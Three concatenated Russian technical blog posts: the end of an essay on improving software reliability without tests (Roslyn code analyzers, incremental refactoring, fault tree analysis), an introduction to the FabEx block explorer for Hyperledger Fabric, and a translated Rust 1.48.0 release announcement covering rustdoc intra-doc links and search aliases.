А если хочется написать что-то совсем кастомное, заточенное под конкретный проект (и мне кажется, это очень даже полезно делать), то в C# есть ещё даже более крутая штука: Live Code Analyzers!
#### Live Code Analyzers
Начиная с Visual Studio 2015, с появлением Roslyn, были добавлены Live Code Analyzers — статические анализаторы кода, которые запускаются в IDE по мере создания кода. Иными словами, простая и доступная возможность создать кастомный intellisense.
В Live Code Analyzer есть доступ ко всему, с чем работает компилятор: лексическая свертка, AST, результаты семантического разбора. Можно комплексно анализировать код и обнаруживать довольно сложные ошибки.
В этой статье не хочется погружаться слишком глубоко в Code Analyzers, но давайте рассмотрим хотя бы вот такой простой пример — обнаружить все методы в solution больше 100 строк:
```
private void CheckMethodsAreShortEnoughToComprehend(SyntaxNodeAnalysisContext context)
{
var methodDeclaration = (MethodDeclarationSyntax)context.Node;
// собственно проверка
if (methodDeclaration.Body == null || methodDeclaration.Body.GetText().Lines.Count <= 100)
return;
// если проверку не прошли, кидаем ошибку
var diagnostic = Diagnostic.Create(ShortMethodsRule, methodDeclaration.Identifier.GetLocation(), methodDeclaration.Identifier.Value);
context.ReportDiagnostic(diagnostic);
}
```
**Полный код класса анализатора**
```
[DiagnosticAnalyzer(LanguageNames.CSharp)]
public class MyAnalyserAnalyzer : DiagnosticAnalyzer
{
private static DiagnosticDescriptor ShortMethodsRule = new DiagnosticDescriptor(
"MyAnalyser.ShortMethodsRule",
"Method is too long.",
"Method '{0}' is more than 100 lines long.",
"Database",
DiagnosticSeverity.Warning,
isEnabledByDefault: true,
description: "Long methods are hard to read and comprehend. Statistics shows, that long methods have much more mistakes. Please refactor.");
public override ImmutableArray SupportedDiagnostics
{
get
{
return ImmutableArray.Create(ShortMethodsRule);
}
}
public override void Initialize(AnalysisContext context)
{
// для каждой ноды "method declaration" в solution будет запущен наш метод проверки
context.RegisterSyntaxNodeAction(CheckMethodsAreShortEnoughToComprehend, SyntaxKind.MethodDeclaration);
}
private void CheckMethodsAreShortEnoughToComprehend(SyntaxNodeAnalysisContext context)
{
var methodDeclaration = (MethodDeclarationSyntax)context.Node;
// собственно проверка
if (methodDeclaration.Body == null || methodDeclaration.Body.GetText().Lines.Count <= 100)
return;
// если проверку не прошли, кидаем ошибку
var diagnostic = Diagnostic.Create(ShortMethodsRule, methodDeclaration.Identifier.GetLocation(), methodDeclaration.Identifier.Value);
context.ReportDiagnostic(diagnostic);
}
}
```
Как видите, все довольно просто. Некоторое количество обвязки, но сама проверка — буквально одна строка. Впрочем, более полезные проверки потребуют, конечно, намного больше кода.
Основная проблема со статическими анализаторами, это то, что они имеют некоторый *потолок по сложности* проверок. Дальше этого потолка код анализаторов становится слишком сложным.
Например, мне удалось создать анализатор, который ругается, если поместить запрос к БД за пределы методов Web API контроллера (чтобы работа с БД не размазывалась по всему решению, поскольку очень часто проблемы с производительностью возникают после того, как кто-нибудь использует метод, дергающий базу данных в цикле).
Но вот сделать более сложный анализатор, который бы следил, чтобы внутри endpoint'а типа `PUT /user/{id}`, невозможно было бы случайно изменить пользователей с другим ID (чтобы предотвратить случайный data corruption), уже не вышло.
**Вывод**: Статический анализ применим и вполне актуален, однако решает лишь часть проблемы — позволяет избежать низкоуровневых, технических багов, но редко когда может помочь с логическими ошибками.
### Простой код
Простой код — это самый надежный способ борьбы с логическими ошибками. Простой, понятный, лаконичный код — это прекрасно! Но непросто.
Блоггеры и докладчики меня поймут: вот пишешь статью, или готовишь доклад, и хочется привести пример, который был бы одновременно и простым, и полезным. И вот на то чтобы изобрести такой пример, несколько дней может уйти (и еще не факт что придумаешь в итоге)! Найти те заветные 20 строчек кода, которые хорошо бы демонстрировали идею, делали бы что-то действительно полезное, и были бы простыми и понятными при этом — на практике оказывается очень нелегко.
*Создание простого кода — это сложная задача, требующая глубоких знаний и большого количества времени.*
Есть по этому поводу знаменитая цитата от Blaise Pascal (перевод с французского):
> Это письмо получилось таким длинным потому, что у меня не было времени написать его короче.
И в этой цитате, безусловно, — очень много правды!
Вот какие подходы и методы лично я использую (весьма успешно) для создания простого кода:
1. **Инкрементный рефакторинг**. Этот подход позволяет избежать излишнего усложнения кода еще на стадии разработки проекта.
2. **Простые оптимизации**. Подход к решению проблем с производительностью, чтобы сохранить качество кода.
3. **Fault tree analysis**. Это способ для определения наиболее критичного кода, который можно себе позволить сделать *совершенным*, и это окупится.
4. **Maintainability Index**. Вычисление метрик кода позволяет легко найти участки кода низкого качества.
Давайте рассмотрим их подробно.
#### 1. Инкрементный рефакторинг
Термин мой собственный, выдуманный. Может быть это как-то по-другому официально называется. Но для меня — это просто то, как я пишу код, уже много лет, и весьма успешно.
Если грубо, идея заключается в том, чтобы **не** создавать **детальную** архитектуру кода проекта заранее. Накидали план в общих чертах, — и поехали. Как только какой-то класс или метод разрастается слишком сильно — ага, пора рефакторить. Видим, что слишком много контроллеров — ага, пора делать новый микросервис. И так далее. Таким образом, проект растёт инкрементно и «натурально», именно в тех местах, в которых действительно нужно.
*Замечание: архитектура — понятие многогранное, здесь и далее я говорю именно про архитектуру кода — т.е. про то, как правильно структурировать проект, разбить на компоненты, сущности, файлы, классы и т.д.*
Во-первых, такой подход прекрасно работает с заказчиком, который вначале проекта чётко не знает, чего хочет (т.е. с почти любым заказчиком). Во-вторых, нарисовать **идеальную** архитектуру для сложного проекта с первого раза в любом случае невозможно, в процессе обычно всплывает много такого, о чем на стадии планирования даже не задумывались.
Так что обычно все равно архитектуру приходится ревизить. Но если она была предварительно кропотливо создана, потрачено на это много времени и сил, то обычно совсем не хочется отказываться от сделанных раньше решений, и есть некое подсознательное желание все-таки впихнуть проект в старую архитектуру. А подсознание штука опасная, ему подчиняешься не думая. В общем, к добру это не приводит.
В итоге получается, что в изначально неправильную архитектуру пытаются впихнуть уже совершенно другое решение, городя в итоге кучу костылей и создавая очень сложный для понимания и дальнейшего развития код.
Поэтому, исходя из моего опыта, лучше совсем уж кропотливо ничего не планировать, а планировать только в общих чертах, и «открывать» детали архитектуры уже по мере создания проекта. Для этого, конечно, необходимы две вещи:
1. **Threshold**. Нужен способ понять, когда пора остановиться и проревизить архитектуру.
2. **Рефакторинг**. Рефакторинг бывает разный. Некоторые понимают под рефакторингом «переписать половину проекта нафиг». Такое бывает, если всё совсем запустили и накопилась целая гора технического долга — т.е. когда thresold или отсутствовал, или был выбран неудачно. Зато при правильно выбранном thresold'е рефакторинг происходит почти безболезненно, настолько, что его можно даже делать в проекте без тестов.
Я использую простой threshold, состоящий из двух условий:
1. Копипастить код можно (о ужас!), но не более одного раза (т.е. максимум 2 «копии»). Если копипастишь в третий раз — пора писать абстракцию.
2. Если файл достиг 200 строк, пора рефакторить — разбивать его на несколько файлов, и заодно ревизить общую архитектуру.
При таком подходе архитектура строится соответственно росту проекта, и архитектурно продумываются именно те части проекта, которые растут и следовательно являются самыми важными и востребованными.
Правильная архитектура автоматически ведет к более простому коду.
#### 2. Простые оптимизации
Когда программисты сталкиваются с проблемами с производительностью, они начинают оптимизировать код. Частенько настоящую проблему поймать довольно сложно, поскольку она происходит только на продакшене, который так просто не подебажить. Так что оптимизируется всё что только можно, и по максимуму.
У нас был в случай, когда человек, не очень хорошо разбиравшийся в MS SQL, «соптимизировал» систему путем перевода почти всех запросов к БД с Entity Framework на stored procedures. Потом пришлось переводить обратно, потому что поддерживать T-SQL код, не покрытый интеллисенсом, довольно сложно (повторюсь, речь о бизнес-проекте, требования меняются постоянно, а с ними вместе и модель базы данных). Да, и к слову, перевод на stored procedures оказался бессмысленным — проблем это не решило. Решение было в добавлении индексов и предпросчёта.
К чему веду: очень легко переусердствовать с оптимизациями. Код при этом очень сильно усложняется, и соответственно сложнее становится избежать багов. Везде нужен компромисс, также и с оптимизациями.
Например, если выяснилось, что Entity Framework генерирует неоптимальный запрос, или не умеет генерировать запрос который вам нужен, это не повод переходить на хранимые процедуры. Покрутите проблему в голове, почитайте умные статьи, решение всегда найдётся. В частности, сложные T-SQL запросы это в любом случае зло — так что и не нужно пытаться их генерировать. Вместо этого, например, вытащите данные по отдельности простыми запросами и склейте их в памяти.
Вообще, 90% проблем с производительностью БД на средних объемах данных и не супер высокой нагрузке решаются пятью простыми способами:
1. Индексы
2. Простые запросы и склейка данных в памяти
3. Кэш
4. Предпросчёт
5. Пейджинг
Для абсолютного большинства обычных проектов, этого достаточно. И даже в сложных проектах с Big Data и с миллионами пользователей онлайн, дальше оптимизировать нужно только наиболее нагруженные участки системы.
**Мораль**: Когда чините производительность, не увлекайтесь, а то сломаете себе ~~нос~~codebase.
#### 3. Fault tree analysis
[Fault tree analysis](https://en.wikipedia.org/wiki/Fault_tree_analysis) — это по сути, просто метод для поиска возможных отказов, но его действенность, сложно переоценить.
Итак, для начала, уточняем у заказчика: какие части системы не должны отказывать ну ни при каких условиях, какие страницы наиболее критичны?
И дальше начинаем с этих страниц, и думаем: что может привести к тому, что страница не будет работать? И как это можно решить?
Например, примерно так я анализировал одну из критических страниц нашего сервиса — страницу со списком заданий и водителей, которая отображалась на InfoTV:
1. Если нет связи с сервером — страница просто не загрузится.
* Решение: Можно использовать server workers, и в случае отказа сети, хотя бы показывать старый снапшот данных. Конечно, при этом желательно вывести уведомление, что данные старые, и показать дату, когда они последний раз были синхронизированы с сервера.
2. Если ошибка в Javascript, то страница не сможет отобразить список заданий или же не сработает периодическое обновление страницы и она «застынет»
* Решение: максимально покрыть фронтенд-код интеллисенсом, вынести в отдельный файл главный код, который отображает список и обновляет страницу, упростить его, некритичные функции обернуть в try-catch, чтобы ошибка в этих функциях не повлияла на отображение списка
3. Если API возвращает ошибку или данные в неожиданном формате
* Решение: продолжать показывать старые данные, как если бы система была оффлайн. Выводить соответствующее сообщение об ошибке.
* Кроме того, можно улучшить стабильность бэкенда. Для этого нужно проанализировать, в каком случае может возникнуть ошибка на бэкенде?
1. Если допущена ошибка в коде и возникло исключение
2. Если сервер упал
3. Если нет связи с БД
4. Если БД перегружена и запрос вылетел с таймаутом
5. Если на сервере БД вышел из строя жесткий диск
И так далее, для каждого из пунктов пытаемся найти возможные решения, или спускаемся ниже и смотрим какие могут быть причины — и пытаемся найти решения для них. В общем идея в том, чтобы иерархически проанализировать все возможные причины отказа.
На самом деле, пример упрощён: анализ критичных областей должен быть очень детальным. Нужно буквально смотреть на каждую строчку кода, и смотреть, при каких обстоятельствах она может упасть. Учитывать всё: потерю связи, пожар в дата-центре и т.д.
Что хочу сказать про fault tree analysis: несмотря на то, что более-менее все архитекторы знают про reliability, про то, как его улучшать, но оценку проблем, как правило, проводят очень ситуативно, бессистемно, часто пытаясь применить обобщенное решение (что работает довольно плохо). Например, я работал в двух больших Unicorn-ах, и даже там подход к reliability всё ещё бессистемный, и только в Big Tech этим уже занимаются серьёзно.
Fault tree analysis позволяет сконцентрироваться на действительно критичных участках и провести полный, системный анализ возможных отказов на этих участках. Если вы так ещё не делаете — попробуйте, это действительно круто работает!
#### 4. Maintainability Index
Предположим, что мы проанализировали возможные отказы, улучшили код, и всё стало хорошо! Но ведь код имеет свойство постоянно меняться, практически жить своей жизнью. Изменения могут быть небольшими, но постоянными, и на code review, когда ты видишь только diff, бывает нелегко оценить суммарную получившуюся сложность всего метода в целом.
И вот здесь, для поддержания кода в хорошем состоянии, очень хорошо подойдёт вычисление метрик кода, таких как [Cyclomatic Complexity](https://ru.wikipedia.org/wiki/%D0%A6%D0%B8%D0%BA%D0%BB%D0%BE%D0%BC%D0%B0%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B0%D1%8F_%D1%81%D0%BB%D0%BE%D0%B6%D0%BD%D0%BE%D1%81%D1%82%D1%8C) — это отлично умеет делать Visual Studio для C#, да и для других языков полно утилит, которые умеют это делать.
В Visual Studio основные метрики суммируются в характеристике под названием Maintainability Index (от 0 — совершенно невозможно этот код поддерживать, до 100 — очень легко поддерживать), а полный набор отображаемых метрик выглядит примерно так:
Строится дерево по всему решению, дерево можно развертывать и искать конкретные классы и методы, где все плохо. Это, даже без fault tree analysis, — первые кандидаты на рефакторинг, особенно если они относятся к важным частям системы.
Интересный факт: когда мы впервые вычислили метрики кода нашего решения, *самое худшее* качество кода было в самом главном, самом критическом методе всей системы (который если упадёт — то всё, это «full stop»). И я уверен, что такой феномен — совсем не редкость.
В итоге, мы потратили наверное целый человеко-спринт :) на то, чтобы этот метод переписать и максимально упростить.
### Заключение и выводы
Это довольно старая история, но всё ещё очень актульная. С тех пор, например, я основал свой стартап, ему уже 5 лет, десятки клиентов (B2B), десятки тысяч пользователей, и ни одного теста. Несмотря на кучу pivot-ов и глобальных рефакторингов, очень стабильная система, и я в состоянии поддерживать и развивать её *в одиночку*.
Конечно, с тестами было бы ещё лучше, ещё надежнее, — в идеале, все возможные способы улучшения надежности ПО должны использоваться *в комбинации* друг с другом.
Но в этой статье я хотел обратить внимание на то, что все эти «второстепенные» способы, на самом деле дают удивительно хороший результат, и могут использоваться даже без тестов. О них мало кто пишет, мало кто считает их серьезным подспорьем для улучшения надежности ПО. А зря, на самом деле, они отлично работают! | https://habr.com/ru/post/279943/ | null | ru | null |
# FabEx — block explorer для Hyperledger Fabric
Привет, я хочу рассказать про проект [FabEx](https://github.com/hyperledger-labs/fabex) — block explorer для Hyperledger Fabric, недавно принятый в Hyperledger Labs и имеющий некоторые преимущества относительно официального эксплорера. Проект написан полностью на Golang (а не на Nodejs, как официальный), хранит данные о блокчейне в MongoDB или Cassandra по выбору (а не в PostgreSQL, как официальный), имеет как GRPC, так и REST API. Eго легко расширять, например, можно легко добавить больше реализаций хранилища. Детали под катом.
*Отдельная благодарность Артему Баргеру за ревью данной статьи и ценные инсайды относительно работы Hyperledger Fabric.*
*Дисклеймер
Инструмент отлично справляется со своими задачами, обрабатывая леджер с миллионами транзакций в проекте РРД КП, но вокруг него нет комьюнити и местами он сыроват. Следует относиться к этому как к экспериментальной технологии в ранней стадии развития.
Я хочу привлечь внимание и дать минимальное введение для всех потенциально заинтересованных лиц. FabEx нуждается в пользователях и коммитерах.*
### Что такое block explorer и зачем нужен FabЕx
Основная задача block explorer — извлекать, парсить блоки и находить в них нужную информацию.
Структура блока подробно описана [в блоге у Senthil Nathan](http://www.bchainledger.com/2017/04/hyperledger-fabric-v10-block-structure.html). Каждая отдельная запись в базе данных FabEx содержит данные о транзакции и блоке, в который данная транзакция попала:
```
type Tx struct {
ChannelId string
Txid string
Hash string
PreviousHash string
Blocknum uint64
Payload string
ValidationCode int32
Time int64
}
```
Здесь не все возможные данные, но лишь те, которые мне кажутся необходимыми. **Txid** и **Payload** содержат, соответственно, ID и write set транзакции. Имена остальных полей говорят сами за себя и относятся к блоку, к которому принадлежит транзакция, но особого внимания заслуживает **ValidationCode** — выраженный в int32 код валидации, или, иначе говоря, статус, который пир на этапе валидации присваивает транзакции. От присвоенного статуса зависит, повлияет транзакция на world state или нет (будет ли она не только записана, но и *учтена* в блокчейне). По большому счету, достаточно понимать, что любое ненулевое значение **ValidationCode** означает, что транзакция невалидна, но для более детального понимания, что произошло с транзакцией, можно обратиться к следующей таблице соответствия:
```
"VALID": 0,
"NIL_ENVELOPE": 1,
"BAD_PAYLOAD": 2,
"BAD_COMMON_HEADER": 3,
"BAD_CREATOR_SIGNATURE": 4,
"INVALID_ENDORSER_TRANSACTION": 5,
"INVALID_CONFIG_TRANSACTION": 6,
"UNSUPPORTED_TX_PAYLOAD": 7,
"BAD_PROPOSAL_TXID": 8,
"DUPLICATE_TXID": 9,
"ENDORSEMENT_POLICY_FAILURE": 10,
"MVCC_READ_CONFLICT": 11,
"PHANTOM_READ_CONFLICT": 12,
"UNKNOWN_TX_TYPE": 13,
"TARGET_CHAIN_NOT_FOUND": 14,
"MARSHAL_TX_ERROR": 15,
"NIL_TXACTION": 16,
"EXPIRED_CHAINCODE": 17,
"CHAINCODE_VERSION_CONFLICT": 18,
"BAD_HEADER_EXTENSION": 19,
"BAD_CHANNEL_HEADER": 20,
"BAD_RESPONSE_PAYLOAD": 21,
"BAD_RWSET": 22,
"ILLEGAL_WRITESET": 23,
"INVALID_WRITESET": 24,
"NOT_VALIDATED": 254,
"INVALID_OTHER_REASON": 255
```
FabEx получает с пира хеш последнего блока, ищет такой блок в базе данных, если его нет, то находит последний добавленный блок в базе и запрашивает с пира блоки по отсутствующему промежутку. Это происходит в реальном времени и не требует специальных вмешательств. Базу, в которую всё сохраняется, можно выбрать.
### Cassandra или MongoDB в качестве хранилища
Изначально FabEx поддерживал PostgreSQL и MongoDB, просто потому что это одни из самых популярных баз данных. Затем я стал искать подходящее решение для быстрых запросов на чтение, но не in-memory, потому что блоков может быть больше, чем доступной памяти. В итоге [одна статья](https://www.sciencedirect.com/science/article/pii/S1319157816300453) убедила меня, что Cassandra — это именно то, что мне нужно: хранение данных на диске, (относительно) быстрые чтения и удобная кластеризация.
Колоночная (на самом деле гибридная колоночно-ориентированная kv) Cassandra читает данные со скоростью, сравнимой с Redis:
*[www.sciencedirect.com/science/article/pii/S1319157816300453](https://www.sciencedirect.com/science/article/pii/S1319157816300453)*
Но при этом мы наблюдаем О(1) по памяти:
*[www.sciencedirect.com/science/article/pii/S1319157816300453](https://www.sciencedirect.com/science/article/pii/S1319157816300453)*
Но нужно понимать, что Cassandra — очень специфичный инструмент, и если вы точно не уверены, что вам нужно именно это решение (советую посмотреть [этот доклад](https://www.youtube.com/watch?v=SAyClLjN6Sk) для ознакомления), лучше воспользоваться MongoDB. Выбрать хранилище можно при старте FabEx:
`./fabex -configpath=configs -db=**mongo**
./fabex -configpath=configs -db=**cassandra**`
PostgreSQL пришлось убрать ввиду сложности поддержки трех разных имплементаций хранилища. Но если у вас есть хорошие идеи, какое ещё хранилище можно использовать, то реализовать его будет не сложно, нужно лишь имплементировать следующий интерфейс:
```
type Manager interface {
Connect() error
Insert(tx Tx) error
QueryBlockByHash(hash string) ([]Tx, error)
GetByTxId(txid string) ([]Tx, error)
GetByBlocknum(blocknum uint64) ([]Tx, error)
GetBlockInfoByPayload(payload string) ([]Tx, error)
QueryAll() ([]Tx, error)
GetLastEntry() (Tx, error)
}
```
### Можно использовать как микросервис
FabEx изначально создавался как сервис, с которым могут общаться любые другие компоненты системы для получения нужной информации о блокчейне. Он не пытается положить своё состояние в CouchDB, хотя это было бы проще, а хранит его изолированно. Он не пытается быть UI dashboard'ом с красивыми графиками, а предоставляет ясное GRPC API (а также REST API и CLI), позволящее компактно и предсказуемо передавать данные из блокчейна тем сервисам, которым это необходимо. Но минималистичный UI также доступен.
GRPC API пока (и, надеюсь, в будущем будет) простое и описано в [fabex.proto](https://github.com/hyperledger-labs/fabex/blob/master/proto/fabex.proto):
```
service Fabex {
rpc Explore(RequestRange) returns (stream Entry);
rpc Get(Entry) returns (stream Entry);
}
```
**rpc Explore** забирает транзакции из блоков в диапазоне *RequestRange* *из блокчейна* и возвращает stream с этими транзакциями.
**rpc Get** позволяет выполнить фильтрующий *запрос к БД* для получения всех транзакций, удовлетворяющих определенным критериям (номер блока, ID транзакции, ключ транзакции).
Вы можете написать собственного GRPC-клиента либо воспользоваться готовым из пакета *github.com/hyperledger-labs/fabex/client*.
Например, так мы можем получить транзакции из блоков в диапазоне с 1 по 15 включительно:
```
txs, err := client.Explore(1, 15)
```
А так можно выполнять фильрующие запросы:
— фильтр по ID транзакции:
```
txs, err := client.Get(&pb.Entry{Txid:"x"})
```
— фильтр по номеру блока:
```
txs, err := client.Get(&pb.Entry{Blocknum:42})
```
— по ключу транзакции:
```
txs, err := client.Get(&pb.Entry{Payload:"mykey"})
```
Чтобы сгруппировать транзакции по блокам, можно воспользоваться helper'ом *PackTxsToBlocks*:
```
blocks, err := helpers.PackTxsToBlocks(txs)
```
Пример использования встроенного GRPC-клиента можно найти [здесь](https://github.com/hyperledger-labs/fabex/blob/master/client/example/client.go).
Доступен также [REST API](https://github.com/hyperledger-labs/fabex/blob/master/rest/router.go).
### Как быстро протестить
Чтобы быстро протестировать fabex, можете воспользоваться готовыми скриптами:
`make mongo-test` — запуск базы
`make fabric-test` — запуск тестовой сети
`make fabex-test` — запуск fabex
Теперь у вас поднята база данных (для тестов MongoDB), тестовая сеть Fabric и FabEx. Можете закомментить/раскомментить нужные строчки в [client.go](https://github.com/hyperledger-labs/fabex/blob/master/client/example/client.go) и запусть клиент, чтобы проверить взаимодействие с FabEx.
Например, давайте отправим транзакцию на создание HabraCar с ключом car0 (*make fabric-test* поднимает тестовую сетку с чейнкодом fabcar):
`docker exec cli peer chaincode invoke -o orderer.example.com:7050 -C mychannel -n fabcar -c '{"Args":["createCar", "car0", "HabraCar", "V8", "black", "Habr"]}' --waitForEvent --tls --cafile /opt/gopath/src/github.com/hyperledger/fabric/peer/crypto/ordererOrganizations/example.com/orderers/orderer.example.com/msp/tlscacerts/tlsca.example.com-cert.pem --peerAddresses peer0.org1.example.com:7051 --peerAddresses peer0.org2.example.com:9051 --tlsRootCertFiles /opt/gopath/src/github.com/hyperledger/fabric/peer/crypto/peerOrganizations/org1.example.com/peers/peer0.org1.example.com/tls/ca.crt --tlsRootCertFiles /opt/gopath/src/github.com/hyperledger/fabric/peer/crypto/peerOrganizations/org2.example.com/peers/peer0.org2.example.com/tls/ca.crt`
Теперь можно вызвать *client/example/client.go*, который запросит пятый блок:
```
go run client/example/client.go
```
Вывод будет таким:
Почему мы запросили 5 блок? Потому что первые четыре нерелевантны и неинформативны: создание канала, присоединение анкора первой организации, присоединение анкора второй организации и одна транзакция, отправляемая автоматически скриптом при поднятии сети для наполнения (и поскольку в тестовой сети block time равняется двум секундам, а между этими транзакциями проходит более двух секунд, каждая из них оказалась в разных блоках).
### Режим CLI
Всё описанное выше можно повторить и без взаимодействия с API, используя CLI. Если мы только что запустили чистую базу, её нужно наполнить транзакциями:
```
./fabex -task=explore -configpath=tests -configname=config -enrolluser=true -db=mongo
```
Теперь можно запросить пятый блок:
```
./fabex -task=getblock -blocknum=5 -configpath=tests -configname=config -enrolluser=true -db=mongo
```
Есть также простой UI на Vue.js на порту 5252, там тоже можно найти наш блок:
`make stop-mongo-test` — удаление тестовой базы
`make stop-fabric-test` — удаление тестовой сети
Очень просто. Можете посмотреть таргеты [Makefile](https://github.com/hyperledger-labs/fabex/blob/master/Makefile) и [readme](https://github.com/hyperledger-labs/fabex/blob/master/readme.md) для более детального понимания особенностей эксплуатации. Или напишите мне в телеграм (ссылка в профиле), постараюсь помочь. | https://habr.com/ru/post/501422/ | null | ru | null |
# Rust 1.48.0: упрощение создания ссылок и псевдонимы поиска
Команда Rust рада сообщить о выпуске новой версии, 1.48.0. Rust — это язык программирования, позволяющий каждому создавать надёжное и эффективное программное обеспечение.
Если вы установили предыдущую версию Rust средствами `rustup`, то для обновления до версии 1.48.0 вам достаточно выполнить следующую команду:
```
rustup update stable
```
Если у вас ещё не установлен `rustup`, вы можете [установить его](https://www.rust-lang.org/tools/install) с соответствующей страницы нашего веб-сайта, а также посмотреть [подробные примечания к выпуску на GitHub](https://github.com/rust-lang/rust/blob/master/RELEASES.md#version-1480-2020-11-19).
Что вошло в стабильную версию 1.48.0
------------------------------------
Звездой этого выпуска стал rustdoc с изменениями, облегчающими написание документации! Смотрите [подробные примечания к выпуску](https://github.com/rust-lang/rust/blob/master/RELEASES.md#version-1480-2020-11-19), чтобы узнать о других изменениях, не представленных в данном анонсе.
### Упрощение создания ссылок в rustdoc
rustdoc — инструмент для документирования библиотек, включённый в поставку Rust, позволяет вам писать документацию используя Markdown. Это делает его простым в использовании, но есть и неприятные моменты. Допустим вы пишете документацию для некоторого кода на Rust, который выглядит подобным образом:
```
pub mod foo {
pub struct Foo;
}
pub mod bar {
pub struct Bar;
}
```
У нас есть два модуля, каждый их которых содержит в себе структуру. Предположим, что мы хотим использовать эти две структуры вместе, а значит мы должны указать это в документации. Соответственно, мы должны написать что-то вроде этого:
```
pub mod foo {
/// Некоторая документация для `Foo`
///
/// Вы можете захотеть использовать `Foo` и `Bar` вместе.
pub struct Foo;
}
pub mod bar {
/// Какая-то документация `Bar`
///
/// Вы можете захотеть использовать `Bar` и `Foo` вместе.
pub struct Bar;
}
```
Всё выглядит хорошо, но было бы замечательно, если бы у нас была ссылка на другой тип. Пользователям нашей библиотеки было бы удобно переходить между ними в нашей документации.
Проблемой здесь является то, что Markdown не знает ничего о Rust и о ссылках, генерируемых `rustdoc`. Из-за этого программистам на Rust приходится писать эти ссылки самостоятельно:
```
pub mod foo {
/// Некоторая документация для `Foo`
///
/// Вы можете захотеть использовать `Foo` и [`Bar`] вместе.
///
/// [`Bar`]: ../bar/struct.Bar.html
pub struct Foo;
}
pub mod bar {
/// Какая-то документация `Bar`
///
/// Вы можете захотеть использовать `Bar` и [`Foo`] вместе.
///
/// [`Foo`]: ../foo/struct.Foo.html
pub struct Bar;
}
```
Обратите внимание, что мы используем относительные ссылки, так что документация будет работать и в оффлайне. Этот процесс не только утомительный и подверженный ошибкам, но и иногда ошибочен. Если мы поместим `pub use bar::Bar` в корне нашего пакета, чтобы реэкспортировать `Bar` в корень, мы получим ошибку в ссылках. Но если мы исправим её так, то она будет не правильна для структуры `Bar` из модуля. Вы не можете написать эту ссылку вручную и сделать так, чтобы она везде была точной.
Начиная с этого выпуска, вы можете использовать специальный синтаксис, чтобы дать понять rustdoc, что ваша ссылка указывает на тип, и он сгенерирует для него правильную ссылку. Посмотрите примеры, основанные на нашем предыдущем коде:
```
pub mod foo {
/// Некоторая документация для `Foo`
///
/// Вы можете захотеть использовать `Foo` и [`Bar`](crate::bar::Bar) вместе.
pub struct Foo;
}
pub mod bar {
/// Какая-то документация `Bar`
///
/// Вы можете захотеть использовать `Bar` и [`crate::foo::Foo`] вместе.
pub struct Bar;
}
```
Первый пример показывает такой же текст, как и раньше, но генерирует правильную ссылку на тип `Bar`. Второй — ссылается на `Foo`, но показывает весь путь `crate::foo::Foo` как текст ссылки.
Здесь вы можете использовать несколько вариантов. Пожалуйста, посмотрите дополнительную информацию в главе ["Linking to items by name"](https://doc.rust-lang.org/stable/rustdoc/linking-to-items-by-name.html) книги по `rustdoc`. Также есть пост в блоге "Inside Rust" [рассказывающий историю этой функциональности](https://blog.rust-lang.org/inside-rust/2020/09/17/stabilizing-intra-doc-links.html), написанный участниками, реализовавшими её!
### Добавление псевдонимов поиска
[`Теперь вы можете добавить #[doc(alias = "")]` чтобы при поиске через пользовательский интерфейс `rustdoc`можно было искать по псевдониму.](https://github.com/rust-lang/rust/pull/75740/) Это небольшое, но очень полезное изменение. Оно выглядит следующим образом:
```
#[doc(alias = "bar")]
struct Foo;
```
С такой аннотацией, если мы введём "bar" в строку поиска rustdoc, одним из результатов будет `Foo`, хоть и поисковый запрос не содержит "Foo".
Интересным вариантом использования являются пакеты FFI-адаптеров, где каждая функция Rust может ссылаться на адаптируемую C функцию. Пользователи, использующие библиотеку на C, могут с лёгкостью найти нужную функцию на Rust!
### Изменения в стандартной библиотеке
Наиболее значимым изменением в стандартной библиотеке можно назвать стабилизацию `[T; N]: TryFrom>`. Что это значит? Вы можете использовать это когда пытаетесь преобразовать вектор в массив с заданной длиной:
```
use std::convert::TryInto;
let v1: Vec = vec![1, 2, 3];
// Это пройдёт успешно: наш вектор имеет длину 3 и мы пытаемся преобразовать
// его в массив из трех элементов.
let a1: [u32; 3] = v1.try\_into().expect("неправильная длина");
// Но если мы попытаемся сделать это с вектором из 5 элементов...
let v2: Vec = vec![1, 2, 3, 4, 5];
// ... наш код запаникует из-за того, что мы используем неправильную длину.
let a2: [u32; 3] = v2.try\_into().expect("неправильная длина");
```
В предыдущем выпуске мы говорили о том, что стандартная библиотека может использовать константные обобщения. Это хороший пример типов API, которые мы можем добавить с помощью таких функций. В скором времени ожидайте услышать больше о стабилизации константных обобщений.
Дополнительно в этом выпуске были стабилизированы пять новых API:
* [`slice::as_ptr_range`](https://doc.rust-lang.org/std/primitive.slice.html#method.as_ptr_range)
* [`slice::as_mut_ptr_range`](https://doc.rust-lang.org/std/primitive.slice.html#method.as_mut_ptr_range)
* [`VecDeque::make_contiguous`](https://doc.rust-lang.org/std/collections/struct.VecDeque.html#method.make_contiguous)
* [`future::pending`](https://doc.rust-lang.org/std/future/fn.pending.html)
* [`future::ready`](https://doc.rust-lang.org/std/future/fn.ready.html)
Следующие ранее стабилизированные API стали `const`:
* [`Option::is_some`](https://doc.rust-lang.org/std/option/enum.Option.html#method.is_some)
* [`Option::is_none`](https://doc.rust-lang.org/std/option/enum.Option.html#method.is_none)
* [`Option::as_ref`](https://doc.rust-lang.org/std/option/enum.Option.html#method.as_ref)
* [`Result::is_ok`](https://doc.rust-lang.org/std/result/enum.Result.html#method.is_ok)
* [`Result::is_err`](https://doc.rust-lang.org/std/result/enum.Result.html#method.is_err)
* [`Result::as_ref`](https://doc.rust-lang.org/std/result/enum.Result.html#method.as_ref)
* [`Ordering::reverse`](https://doc.rust-lang.org/std/cmp/enum.Ordering.html#method.reverse)
* [`Ordering::then`](https://doc.rust-lang.org/std/cmp/enum.Ordering.html#method.then)
Смотрите [подробные примечания к выпуску](https://github.com/rust-lang/rust/blob/master/RELEASES.md#version-1480-2020-11-19) для более детальной информации.
### Другие изменения
[Синтаксис](https://github.com/rust-lang/rust/blob/master/RELEASES.md#version-1480-2020-11-19), [пакетный менеджер Cargo](https://github.com/rust-lang/cargo/blob/master/CHANGELOG.md#cargo-148-2020-11-19) и [анализатор Clippy](https://github.com/rust-lang/rust-clippy/blob/master/CHANGELOG.md#rust-148) также претерпели некоторые изменения.
Участники 1.48.0
----------------
Множество людей собрались вместе, чтобы создать Rust 1.48.0. Мы не смогли бы сделать это без всех вас. [Спасибо!](https://thanks.rust-lang.org/rust/1.48.0/)
От переводчиков
---------------
